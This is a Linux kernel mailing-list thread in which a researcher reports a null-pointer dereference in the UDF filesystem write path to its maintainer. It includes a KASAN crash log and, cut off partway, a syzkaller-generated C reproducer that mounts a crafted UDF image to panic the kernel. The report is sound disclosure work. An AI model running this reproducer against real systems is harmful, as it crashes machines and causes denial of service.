* **A null-ptr-deref bug be triggered when write to an ICB inode**
@ 2022-01-13 10:57 butt3rflyh4ck
  2022-01-14 17:23 ` Jan Kara
  0 siblings, 1 reply; 3+ messages in thread
From: butt3rflyh4ck @ 2022-01-13 10:57 UTC (permalink / raw)
  To: jack; **+Cc:** LKML

[-- Attachment #1: Type: text/plain, Size: 6669 bytes --]

Hi, there is a null pointer dereference bug that would be triggered
when writing something to an ICB inode, I reproduce in the latest
kernel.

First mount a malicious udf image, secondly create a dir named
"./file0", then create a file named "file1" in the file0 directory.
Then write something to "./file0/file1", then invoke
udf_file_write_iter function.

the udf_file_write_iter code:
```
static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
ssize_t retval;
struct file *file = iocb->ki_filp;
struct inode *inode = file_inode(file);
struct udf_inode_info *iinfo = UDF_I(inode);
int err;

inode_lock(inode);

retval = generic_write_checks(iocb, from);
if (retval <= 0)
goto out;

down_write(&iinfo->i_data_sem);
if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {   ///[1 ]
loff_t end = iocb->ki_pos + iov_iter_count(from);   ///[2] end =
iocb->ki_pos + i->count = iocb->ki_pos + user_write_size

if (inode->i_sb->s_blocksize <
(udf_file_entry_alloc_offset(inode) + end)) {  /// [3]
err = udf_expand_file_adinicb(inode);

....

}
```
[1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end,
[3] compare blocksize and end, if blocksize is smaller then invoke
udf_expand_file_adinicb to modify inode.
Next, in the process of expanding the block, trigger the bug.

the crash log:
```
[   82.827914][ T6441] loop0: detected capacity change from 0 to 5656
[   82.830192][ T6441] UDF-fs: warning (device loop0): udf_load_vrs:
No anchor found
[   82.831014][ T6441] UDF-fs: Scanning with blocksize 512 failed
[   82.833515][ T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
timestamp 2020/09/19 18:44 (1000)
[   82.835323][ T6441] general protection fault, probably for
non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
[   82.836556][ T6441] KASAN: null-ptr-deref in range
[0x00000000000000a8-0x00000000000000af]
[   82.837437][ T6441] CPU: 0 PID: 6441 Comm: percpu_counter_ Not
tainted 5.16.0+ #34
[   82.838242][ T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.13.0-1ubuntu1 04/01/2014
[   82.838885][   T26] audit: type=1800 audit(1642070781.843:2):
pid=6441 uid=0 auid=0 ses=1 subj==unconfined op=collect_data
cause=failed(directio) comm="percpu_count0
[   82.843723][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
[   82.843757][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
df 48 c1 ea 03 <80> 3c 02 0d
[   82.843760][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
[   82.843765][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
RCX: 1ffffffff1a443f8
[   82.843768][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
RDI: ffffffff88dac160
[   82.843769][ T6441] RBP: 0000000000000088 R08: 0000000000000004
R09: fffff940000bb9b9
[   82.843771][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
R12: 0000000000000000
[   82.843772][ T6441] R13: 0000000000000001 R14: 0000000000000001
R15: 00000000000000a8
[   82.843776][ T6441] FS:  00000000014e5880(0000)
GS:ffff88802d400000(0000) knlGS:0000000000000000
[   82.843780][ T6441] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   82.843785][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
CR4: 00000000000006f0
[   82.843791][ T6441] Call Trace:
[   82.843795][ T6441]  <TASK>
[   82.843799][ T6441]  __folio_start_writeback+0x64f/0x7b0
[   82.843805][ T6441]  ? domain_dirty_limits+0x350/0x350
[   82.843808][ T6441]  ? udf_get_block+0x208/0x4d0
[   82.843813][ T6441]  ? errseq_set+0x7b/0xe0
[   82.843817][ T6441]  __block_write_full_page+0x9b0/0xdc0
[   82.843822][ T6441]  ? udf_block_map+0x250/0x250
[   82.843824][ T6441]  ? end_buffer_write_sync+0xb0/0xb0
[   82.843827][ T6441]  udf_expand_file_adinicb+0x3bc/0xcc0
[   82.843830][ T6441]  ? udf_update_inode+0x3370/0x3370
[   82.843833][ T6441]  udf_file_write_iter+0x298/0x440
[   82.843835][ T6441]  ? _raw_spin_lock+0x88/0x110
[   82.843844][ T6441]  new_sync_write+0x37f/0x620
[   82.843848][ T6441]  ? new_sync_read+0x610/0x610
[   82.843850][ T6441]  ? common_file_perm+0x196/0x5f0
[   82.843855][ T6441]  ? apparmor_path_rmdir+0x20/0x20
[   82.843857][ T6441]  ? kmem_cache_free+0x9a/0x490
[   82.843860][ T6441]  ? security_file_permission+0x49/0x570
[   82.843864][ T6441]  vfs_write+0x41d/0x7b0
[   82.892153][ T6441]  ksys_write+0xe8/0x1c0
[   82.894156][ T6441]  ? __ia32_sys_read+0xa0/0xa0
[   82.895079][ T6441]  do_syscall_64+0x35/0xb0
[   82.895830][ T6441]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   82.896810][ T6441] RIP: 0033:0x44eafd
[   82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
4c 24 08 0f 05 <48> 3d 01 f8
[   82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
ORIG_RAX: 0000000000000001
[   82.901996][ T6441] RAX: ffffffffffffffda RBX: 0000000000400530
RCX: 000000000044eafd
[   82.903311][ T6441] RDX: 000000000000fdef RSI: 0000000020000080
RDI: 0000000000000004
[   82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
R09: 0000000000000000
[   82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
R12: 0000000000403b00
[   82.907212][ T6441] R13: 0000000000000000 R14: 00000000004c6018
R15: 0000000000000000
[   82.908522][ T6441]  </TASK>
[   82.909026][ T6441] Modules linked in:
[   82.909671][ T6441] ---[ end trace 99ae3d17814cae89 ]---
[   82.910556][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
[   82.911627][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
df 48 c1 ea 03 <80> 3c 02 0d
[   82.914533][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
[   82.915482][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
RCX: 1ffffffff1a443f8
[   82.916677][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
RDI: ffffffff88dac160
[   82.917868][ T6441] RBP: 0000000000000088 R08: 0000000000000004
R09: fffff940000bb9b9
[   82.919086][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
R12: 0000000000000000
[   82.920262][ T6441] R13: 0000000000000001 R14: 0000000000000001
R15: 00000000000000a8
[   82.921457][ T6441] FS:  00000000014e5880(0000)
GS:ffff88802d400000(0000) knlGS:0000000000000000
[   82.922825][ T6441] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   82.923845][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
CR4: 00000000000006f0
[   82.925080][ T6441] Kernel panic - not syncing: Fatal exception
[   82.926163][ T6441] Kernel Offset: disabled
[   82.926853][ T6441] Rebooting in 86400 seconds..
```
The attachment is a reproduce.

Regards,
 butt3rflyh4ck.

--
Active Defense Lab of Venustech

[-- Attachment #2: crash --]
[-- Type: application/octet-stream, Size: 897912 bytes --]

^ permalink raw reply   [**flat**|nested] 3+ messages in thread

---

* **Re: A null-ptr-deref bug be triggered when write to an ICB inode**
  2022-01-13 10:57 A null-ptr-deref bug be triggered when write to an ICB inode butt3rflyh4ck
@ 2022-01-14 17:23 ` Jan Kara
  2022-01-15 7:36   ` butt3rflyh4ck
  0 siblings, 1 reply; 3+ messages in thread
From: Jan Kara @ 2022-01-14 17:23 UTC (permalink / raw)
  To: butt3rflyh4ck; **+Cc:** jack, LKML

On Thu 13-01-22 18:57:28, butt3rflyh4ck wrote:
> Hi, there is a null pointer dereference bug that would be triggered
> when writing something to an ICB inode, I reproduce in the latest
> kernel.
>
> First mount a malicious udf image, secondly create a dir named
> "./file0", then create a file named "file1" in the file0 directory.
> Then write something to "./file0/file1", then invoke
> udf_file_write_iter function.

```
>
> the udf_file_write_iter code:
> ```
> static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
> {
> ssize_t retval;
> struct file *file = iocb->ki_filp;
> struct inode *inode = file_inode(file);
> struct udf_inode_info *iinfo = UDF_I(inode);
> int err;
>
> inode_lock(inode);
>
> retval = generic_write_checks(iocb, from);
> if (retval <= 0)
> goto out;
>
> down_write(&iinfo->i_data_sem);
> if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {   ///[1]
> loff_t end = iocb->ki_pos + iov_iter_count(from);   ///[2] end =
> iocb->ki_pos + i->count = iocb->ki_pos + user_write_size
>
> if (inode->i_sb->s_blocksize <
> (udf_file_entry_alloc_offset(inode) + end)) { /// [3]
> err = udf_expand_file_adinicb(inode);
>
> ....
>
> }
> ```
> [1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end,
> [3] compare blocksize and end, if blocksize is smaller then invoke
> udf_expand_file_adinicb to modify inode.
> Next, in the process of expanding the block, trigger the bug.
>
> the crash log:
> ```
> [82.827914][T6441] loop0: detected capacity change from 0 to 5656
> [82.830192][T6441] UDF-fs: warning (device loop0): udf_load_vrs:
> No anchor found
> [82.831014][T6441] UDF-fs: Scanning with blocksize 512 failed
> [82.833515][T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
> timestamp 2020/09/19 18:44 (1000)
> [82.835323][T6441] general protection fault, probably for
> non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
> [82.836556][T6441] KASAN: null-ptr-deref in range
> [0x00000000000000a8-0x00000000000000af]
> [82.837437][T6441] CPU: 0 PID: 6441 Comm: percpu_counter_ Not
> tainted 5.16.0+ #34
> [82.838242][T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
> 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
> [82.838885][T26] audit: type=1800 audit(1642070781.843:2):
> pid=6441 uid=0 auid=0 ses=1 subj==unconfined op=collect_data
> cause=failed(directio) comm="percpu_count0
> [82.843723][T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> [82.843757][T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
> df 48 c1 ea 03 <80> 3c 02 0d
> [82.843760][T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> [82.843765][T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> RCX: 1ffffffff1a443f8
> [82.843768][T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> RDI: ffffffff88dac160
> [82.843769][T6441] RBP: 0000000000000088 R08: 0000000000000004
> R09: fffff940000bb9b9
> [82.843771][T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
> R12: 0000000000000000
> [82.843772][T6441] R13: 0000000000000001 R14: 0000000000000001
> R15: 00000000000000a8
> [82.843776][T6441] FS: 00000000014e5880(0000)
> GS:ffff88802d400000(0000) knlGS:0000000000000000
> [82.843780][T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [82.843785][T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> CR4: 00000000000006f0
> [82.843791][T6441] Call Trace:
> [82.843795][T6441] <TASK>
> [82.843799][T6441] __folio_start_writeback+0x64f/0x7b0
> [82.843805][T6441] ? domain_dirty_limits+0x350/0x350
> [82.843808][T6441] ? udf_get_block+0x208/0x4d0
> [82.843813][T6441] ? errseq_set+0x7b/0xe0
> [82.843817][T6441] __block_write_full_page+0x9b0/0xdc0
> [82.843822][T6441] ? udf_block_map+0x250/0x250
> [82.843824][T6441] ? end_buffer_write_sync+0xb0/0xb0
> [82.843827][T6441] udf_expand_file_adinicb+0x3bc/0xcc0
> [82.843830][T6441] ? udf_update_inode+0x3370/0x3370
> [82.843833][T6441] udf_file_write_iter+0x298/0x440
> [82.843835][T6441] ? _raw_spin_lock+0x88/0x110
> [82.843844][T6441] new_sync_write+0x37f/0x620
> [82.843848][T6441] ? new_sync_read+0x610/0x610
> [82.843850][T6441] ? common_file_perm+0x196/0x5f0
> [82.843855][T6441] ? apparmor_path_rmdir+0x20/0x20
> [82.843857][T6441] ? kmem_cache_free+0x9a/0x490
> [82.843860][T6441] ? security_file_permission+0x49/0x570
> [82.843864][T6441] vfs_write+0x41d/0x7b0
> [82.892153][T6441] ksys_write+0xe8/0x1c0
> [82.894156][T6441] ? __ia32_sys_read+0xa0/0xa0
> [82.895079][T6441] do_syscall_64+0x35/0xb0
> [82.895830][T6441] entry_SYSCALL_64_after_hwframe+0x44/0xae
```

```
> [   82.896810][ T6441] RIP: 0033:0x44eafd
> [   82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> 4c 24 08 0f 05 <48> 3d 01 f8
> [   82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
> ORIG_RAX: 0000000000000001
> [   82.901996][ T6441] RAX: ffffffffffffffda RBX: 0000000000400530
> RCX: 000000000044eafd
> [   82.903311][ T6441] RDX: 000000000000fdef RSI: 0000000020000080
> RDI: 0000000000000004
> [   82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
> R09: 0000000000000000
> [   82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
> R12: 0000000000403b00
> [   82.907212][ T6441] R13: 0000000000000000 R14: 00000000004c6018
> R15: 0000000000000000
> [   82.908522][ T6441]  </TASK>
> [   82.909026][ T6441] Modules linked in:
> [   82.909671][ T6441] ---[ end trace 99ae3d17814cae89 ]---
> [   82.910556][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> [   82.911627][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
> df 48 c1 ea 03 <80> 3c 02 0d
> [   82.914533][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> [   82.915482][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> RCX: 1ffffffff1a443f8
> [   82.916677][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> RDI: ffffffff88dac160
> [   82.917868][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> R09: fffff940000bb9b9
> [   82.919086][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
> R12: 0000000000000000
> [   82.920262][ T6441] R13: 0000000000000001 R14: 0000000000000001
> R15: 00000000000000a8
> [   82.921457][ T6441] FS:  00000000014e5880(0000)
> GS:ffff88802d400000(0000) knlGS:0000000000000000
> [   82.922825][ T6441] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   82.923845][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> CR4: 00000000000006f0
> [   82.925080][ T6441] Kernel panic - not syncing: Fatal exception
> [   82.926163][ T6441] Kernel Offset: disabled
> [   82.926853][ T6441] Rebooting in 86400 seconds..
>
> ```
> The attachment is a reproduce.
```

Thanks for report. Do you have a source code for the reproducer? Or the
corrupted UDF image to share?

Honza

--
Jan Kara <jack@suse.com>
SUSE Labs, CR

^ permalink raw reply   [**flat**|nested] 3+ messages in thread

---

* **Re: A null-ptr-deref bug be triggered when write to an ICB inode**
  2022-01-14 17:23 ` Jan Kara
@ 2022-01-15 7:36   ` butt3rflyh4ck
  0 siblings, 0 replies; 3+ messages in thread
From: butt3rflyh4ck @ 2022-01-15 7:36 UTC (permalink / raw)
  To: Jan Kara; **+Cc:** jack, LKML

[-- Attachment #1: Type: text/plain, Size: 7623 bytes --]

Here you go.

Regards,
 butt3rflyh4ck.

On Sat, Jan 15, 2022 at 1:23 AM Jan Kara <jack@suse.cz> wrote:

```
>
> On Thu 13-01-22 18:57:28, butt3rflyh4ck wrote:
> > Hi, there is a null pointer dereference bug that would be triggered
> > when writing something to an ICB inode, I reproduce in the latest
> > kernel.
> >
> > First mount a malicious udf image, secondly create a dir named
> > "./file0", then create a file named "file1" in the file0 directory.
> > Then write something to "./file0/file1", then invoke
> > udf_file_write_iter function.
> >
> > the udf_file_write_iter code:
> > ```
> > static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
> > {
> > ssize_t retval;
> > struct file *file = iocb->ki_filp;
> > struct inode *inode = file_inode(file);
> > struct udf_inode_info *iinfo = UDF_I(inode);
> > int err;
> >
> > inode_lock(inode);
> >
> > retval = generic_write_checks(iocb, from);
> > if (retval <= 0)
```

```
> > goto out;
> >
> > down_write(&iinfo->i_data_sem);
> > if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {   ///[1 ]
> > loff_t end = iocb->ki_pos + iov_iter_count(from);   ///[2] end =
> > iocb->ki_pos + i->count = iocb->ki_pos + user_write_size
> >
> > if (inode->i_sb->s_blocksize <
> > (udf_file_entry_alloc_offset(inode) + end)) {  /// [3]
> > err = udf_expand_file_adinicb(inode);
> >
> > ....
> >
> > }
> > ```
> > [1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end,
> > [3] compare blocksize and end, if blocksize is smaller then invoke
> > udf_expand_file_adinicb to modify inode.
> > Next, in the process of expanding the block, trigger the bug.
> >
> > the crash log:
> > ```
> > [   82.827914][ T6441] loop0: detected capacity change from 0 to 5656
> > [   82.830192][ T6441] UDF-fs: warning (device loop0): udf_load_vrs:
> > No anchor found
> > [   82.831014][ T6441] UDF-fs: Scanning with blocksize 512 failed
> > [   82.833515][ T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
> > timestamp 2020/09/19 18:44 (1000)
> > [   82.835323][ T6441] general protection fault, probably for
> > non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
> > [   82.836556][ T6441] KASAN: null-ptr-deref in range
> > [0x00000000000000a8-0x00000000000000af]
> > [   82.837437][ T6441] CPU: 0 PID: 6441 Comm: percpu_counter_ Not
> > tainted 5.16.0+ #34
> > [   82.838242][ T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
> > 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
> > [   82.838885][   T26] audit: type=1800 audit(1642070781.843:2):
> > pid=6441 uid=0 auid=0 ses=1 subj==unconfined op=collect_data
> > cause=failed(directio) comm="percpu_count0
> > [   82.843723][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> > [   82.843757][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> > c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
> > df 48 c1 ea 03 <80> 3c 02 0d
> > [   82.843760][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> > [   82.843765][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> > RCX: 1ffffffff1a443f8
> > [   82.843768][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> > RDI: ffffffff88dac160
> > [   82.843769][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> > R09: fffff940000bb9b9
> > [   82.843771][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
> > R12: 0000000000000000
> > [   82.843772][ T6441] R13: 0000000000000001 R14: 0000000000000001
> > R15: 00000000000000a8
> > [   82.843776][ T6441] FS:  00000000014e5880(0000)
> > GS:ffff88802d400000(0000) knlGS:0000000000000000
> > [   82.843780][ T6441] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [   82.843785][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> > CR4: 00000000000006f0
> > [   82.843791][ T6441] Call Trace:
> > [   82.843795][ T6441]  <TASK>
> > [   82.843799][ T6441]  __folio_start_writeback+0x64f/0x7b0
> > [   82.843805][ T6441]  ? domain_dirty_limits+0x350/0x350
> > [   82.843808][ T6441]  ? udf_get_block+0x208/0x4d0
> > [   82.843813][ T6441]  ? errseq_set+0x7b/0xe0
> > [   82.843817][ T6441]  __block_write_full_page+0x9b0/0xdc0
> > [   82.843822][ T6441]  ? udf_block_map+0x250/0x250
> > [   82.843824][ T6441]  ? end_buffer_write_sync+0xb0/0xb0
> > [   82.843827][ T6441]  udf_expand_file_adinicb+0x3bc/0xcc0
> > [   82.843830][ T6441]  ? udf_update_inode+0x3370/0x3370
> > [   82.843833][ T6441]  udf_file_write_iter+0x298/0x440
> > [   82.843835][ T6441]  ? _raw_spin_lock+0x88/0x110
> > [   82.843844][ T6441]  new_sync_write+0x37f/0x620
> > [   82.843848][ T6441]  ? new_sync_read+0x610/0x610
> > [   82.843850][ T6441]  ? common_file_perm+0x196/0x5f0
> > [   82.843855][ T6441]  ? apparmor_path_rmdir+0x20/0x20
> > [   82.843857][ T6441]  ? kmem_cache_free+0x9a/0x490
> > [   82.843860][ T6441]  ? security_file_permission+0x49/0x570
> > [   82.843864][ T6441]  vfs_write+0x41d/0x7b0
> > [   82.892153][ T6441]  ksys_write+0xe8/0x1c0
> > [   82.894156][ T6441]  ? __ia32_sys_read+0xa0/0xa0
> > [   82.895079][ T6441]  do_syscall_64+0x35/0xb0
> > [   82.895830][ T6441]  entry_SYSCALL_64_after_hwframe+0x44/0xae
> > [   82.896810][ T6441] RIP: 0033:0x44eafd
> > [   82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> > 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> > 4c 24 08 0f 05 <48> 3d 01 f8
> > [   82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
> > ORIG_RAX: 0000000000000001
> > [   82.901996][ T6441] RAX: ffffffffffffffda RBX: 0000000000400530
> > RCX: 000000000044eafd
> > [   82.903311][ T6441] RDX: 000000000000fdef RSI: 0000000020000080
> > RDI: 0000000000000004
> > [   82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
> > R09: 0000000000000000
> > [   82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
> > R12: 0000000000403b00
> > [   82.907212][ T6441] R13: 0000000000000000 R14: 00000000004c6018
```

```
> > R15: 0000000000000000
> > [   82.908522][ T6441]  </TASK>
> > [   82.909026][ T6441] Modules linked in:
> > [   82.909671][ T6441] ---[ end trace 99ae3d17814cae89 ]---
> > [   82.910556][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> > [   82.911627][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> > c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 00 fc ff
> > df 48 c1 ea 03 <80> 3c 02 0d
> > [   82.914533][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> > [   82.915482][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> > RCX: 1ffffffff1a443f8
> > [   82.916677][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> > RDI: ffffffff88dac160
> > [   82.917868][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> > R09: fffff940000bb9b9
> > [   82.919086][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
> > R12: 0000000000000000
> > [   82.920262][ T6441] R13: 0000000000000001 R14: 0000000000000001
> > R15: 00000000000000a8
> > [   82.921457][ T6441] FS:  00000000014e5880(0000)
> > GS:ffff88802d400000(0000) knlGS:0000000000000000
> > [   82.922825][ T6441] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [   82.923845][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> > CR4: 00000000000006f0
> > [   82.925080][ T6441] Kernel panic - not syncing: Fatal exception
> > [   82.926163][ T6441] Kernel Offset: disabled
> > [   82.926853][ T6441] Rebooting in 86400 seconds..
> >
> > ```
> > The attachment is a reproduce.
>
> Thanks for report. Do you have a source code for the reproducer? Or the
> corrupted UDF image to share?
>
>   Honza
> --
> Jan Kara <jack@suse.com>
> SUSE Labs, CR

--
Active Defense Lab of Venustech

[-- Attachment #2: repro.cprog --]
[-- Type: application/octet-stream, Size: 14819 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

static unsigned long long procid;

struct fs_image_segment {
        void* data;
        uintptr_t size;
        uintptr_t offset;
};

#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)

#define sys_memfd_create 319

static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, struct fs_image_segment* segs)
{
        if (nsegs > IMAGE_MAX_SEGMENTS)
                nsegs = IMAGE_MAX_SEGMENTS;
        for (size_t i = 0; i < nsegs; i++) {
                if (segs[i].size > IMAGE_MAX_SIZE)
                        segs[i].size = IMAGE_MAX_SIZE;
                segs[i].offset %= IMAGE_MAX_SIZE;
                if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
                        segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
                if (size < segs[i].offset + segs[i].offset)
                        size = segs[i].offset + segs[i].offset;
        }
        if (size > IMAGE_MAX_SIZE)
                size = IMAGE_MAX_SIZE;
        return size;
}
```

```
static int setup_loop_device(long unsigned size, long unsigned nsegs, struct fs_image_segment* segs, const char* loopname, int* memfd_p,
int* loopfd_p)
{
	int err = 0, loopfd = -1;
	size = fs_image_segment_check(size, nsegs, segs);
	int memfd = syscall(sys_memfd_create, "syzkaller", 0);
	if (memfd == -1) {
		err = errno;
		goto error;
	}
	if (ftruncate(memfd, size)) {
		err = errno;
		goto error_close_memfd;
	}
	for (size_t i = 0; i < nsegs; i++) {
		if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
		}
	}
	loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		err = errno;
		goto error_close_memfd;
	}
	if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
		if (errno != EBUSY) {
			err = errno;
			goto error_close_loop;
		}
		ioctl(loopfd, LOOP_CLR_FD, 0);
		usleep(1000);
		if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
			err = errno;
			goto error_close_loop;
		}
	}
	*memfd_p = memfd;
	*loopfd_p = loopfd;
	return 0;

error_close_loop:
	close(loopfd);
error_close_memfd:
	close(memfd);
error:
	errno = err;
	return -1;
}

static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long
segments, volatile long flags, volatile long optsarg)
{
	struct fs_image_segment* segs = (struct fs_image_segment*)segments;
	int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
	char* mount_opts = (char*)optsarg;
	char* target = (char*)dir;
	char* fs = (char*)fsarg;
	char* source = NULL;
	char loopname[64];
	if (need_loop_device) {
		memset(loopname, 0, sizeof(loopname));
		snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
		if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
			return -1;
		source = loopname;
	}
	mkdir(target, 0777);
	char opts[256];
	memset(opts, 0, sizeof(opts));
	if (strlen(mount_opts) > (sizeof(opts) - 32)) {
	}
	strncpy(opts, mount_opts, sizeof(opts) - 32);
	if (strcmp(fs, "iso9660") == 0) {
		flags |= MS_RDONLY;
	} else if (strncmp(fs, "ext", 3) == 0) {
		if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
			strcat(opts, ",errors=continue");
	} else if (strcmp(fs, "xfs") == 0) {
		strcat(opts, ",nouuid");
	}
	res = mount(source, target, fs, flags, opts);
	if (res == -1) {
		err = errno;
		goto error_clear_loop;
	}
	res = open(target, O_RDONLY | O_DIRECTORY);
	if (res == -1) {
		err = errno;
	}

error_clear_loop:
	if (need_loop_device) {
		ioctl(loopfd, LOOP_CLR_FD, 0);
		close(loopfd);
		close(memfd);
	}
	errno = err;
	return res;
}
```

```
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};

int main(void)
{
                syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
        syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
        syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
                                intptr_t res = 0;
memcpy((void*)0x20000000, "udf\000", 4);
memcpy((void*)0x20000100, "./file0\000", 8);
*(uint64_t*)0x20000200 = 0x20010000;
memcpy((void*)0x20010000, "\000BEA01", 6);
*(uint64_t*)0x20000208 = 6;
